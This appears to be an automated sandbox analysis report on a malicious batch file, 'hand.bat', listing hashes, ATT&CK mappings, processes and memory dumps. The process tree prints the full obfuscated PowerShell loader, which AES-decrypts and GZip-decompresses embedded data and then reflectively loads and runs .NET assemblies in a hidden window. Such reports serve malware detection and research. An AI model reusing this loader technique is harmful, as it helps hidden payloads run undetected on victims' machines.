698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688

Analysis

max time kernel
5s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-11-2024 21:24

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General

Target

hand.bat
Size

7.0MB
MD5

1a013c7ac90b58073895b26cae70def7
SHA1

60c9c3294fc7ac3d336a478274f62f4818498230
SHA256

698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688
SHA512

c1bbb52e8546b352e041e944d7dfa158d5dc9a51b1628128d345e4a9e708871d7a1f5e59cc44a2c66f8dc9af81ec06e1b5105d5a7292497075564496f3b0ec75
SSDEEP

49152:vZrlGoT+Xts/LJjeDPnIwT0ZFBZP2x3fLKs0HMb0DprNMiKwPjp9Kw2EdF8d7nrx:Y

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
4920	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
4920	powershell.exe
4920	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 1236 wrote to memory of 4752	1236	cmd.exe	85
PID 1236 wrote to memory of 4752	1236	cmd.exe	85
PID 1236 wrote to memory of 4920	1236	cmd.exe	86
PID 1236 wrote to memory of 4920	1236	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hand.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1236
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo function iuYgv($leKgl){ $jPJwb=[System.Security.Cryptography.Aes]::Create(); $jPJwb.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jPJwb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jPJwb.Key=[System.Convert]::FromBase64String('uEpqIWQRyvODISCHGUQfxzSWFesSqTmCOTn7Muaq1uk='); $jPJwb.IV=[System.Convert]::FromBase64String('II7XtEw/4tOoxMX0yT4prg=='); $kNTLM=$jPJwb.CreateDecryptor(); $whegU=$kNTLM.TransformFinalBlock($leKgl, 0, $leKgl.Length); $kNTLM.Dispose(); $jPJwb.Dispose(); $whegU;}function zpxNq($leKgl){ Invoke-Expression '$kWPKo=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$leKgl);'.Replace('*', ''); Invoke-Expression '$UAPJw=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$SDRXH=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($kWPKo, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $SDRXH.CopyTo($UAPJw); $SDRXH.Dispose(); $kWPKo.Dispose(); $UAPJw.Dispose(); $UAPJw.ToArray();}function efQtH($leKgl,$kxxMo){ Invoke-Expression '$ECSjU=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$leKgl);'.Replace('*', ''); Invoke-Expression '$iUybu=$ECSjU.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$iUybu.*I*n*v*o*k*e*($null, $kxxMo);'.Replace('*', '');}$bdjtW = 'C:\Users\Admin\AppData\Local\Temp\hand.bat';$host.UI.RawUI.WindowTitle = $bdjtW;$sWPvP=[System.IO.File]::ReadAllText($bdjtW).Split([Environment]::NewLine);foreach ($fLYEN in $sWPvP) { if ($fLYEN.StartsWith('ECVXS')) { $GELOT=$fLYEN.Substring(5); break; }}$XQqqI=[string[]]$GELOT.Split('\');Invoke-Expression '$gOc = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$saB = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UaX = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');efQtH $gOc $null;efQtH $saB $null;efQtH $UaX (,[string[]] (''));
  2⤵
  PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w2iirxvl.zqk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4920-0-0x00007FFA81783000-0x00007FFA81785000-memory.dmp

Filesize
8KB

Download
memory/4920-6-0x000001F81D820000-0x000001F81D842000-memory.dmp

Filesize
136KB

Download
memory/4920-11-0x00007FFA81780000-0x00007FFA82241000-memory.dmp

Filesize
10.8MB

Download
memory/4920-12-0x00007FFA81780000-0x00007FFA82241000-memory.dmp

Filesize
10.8MB

Download
memory/4920-13-0x000001F81DBE0000-0x000001F81DC24000-memory.dmp

Filesize
272KB

Download
memory/4920-14-0x000001F81DCB0000-0x000001F81DD26000-memory.dmp

Filesize
472KB

Download